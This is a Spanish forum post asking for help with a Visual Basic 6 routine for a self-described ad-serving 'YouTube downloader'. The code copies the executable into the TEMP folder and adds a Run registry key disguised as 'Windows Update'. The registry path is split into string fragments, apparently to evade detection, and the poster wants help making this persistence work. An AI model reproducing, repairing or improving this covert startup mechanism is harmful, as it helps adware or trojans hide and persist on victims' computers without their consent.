Hola
gracias por lo del autorun
me surgio otro problema
espero que me ayuden nuevamente
el problema es :
------------------------------------------------------------------------------------------
Private Sub Timer8_Timer()
Dim win
Dim sys
Dim residencia
Dim InicioU As String
'On Error Resume Next
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = App.path & "\" & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
sys = Environ("TEMP")
win = LCase(win)
sys = LCase(sys)
InicioU = Environ("TEMP") & "\" & "YouTubeDown.exe"
FileCopy App.path & "\" & App.EXEName & ".exe", InicioU
Name sys & "\halo2" As sys & "\YouTubeDown.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\YouTubeDown.exe"
-----------------------------------------------------------------------------------------
Bueno espero su pronta respuesta el programa es un downloader de youtube lo trabajo mediante un vps para los anuncios dentro del exe
pero no logro hacerlo que guarde en la carpeta TEMP
porfavor espero sus respuestas gracias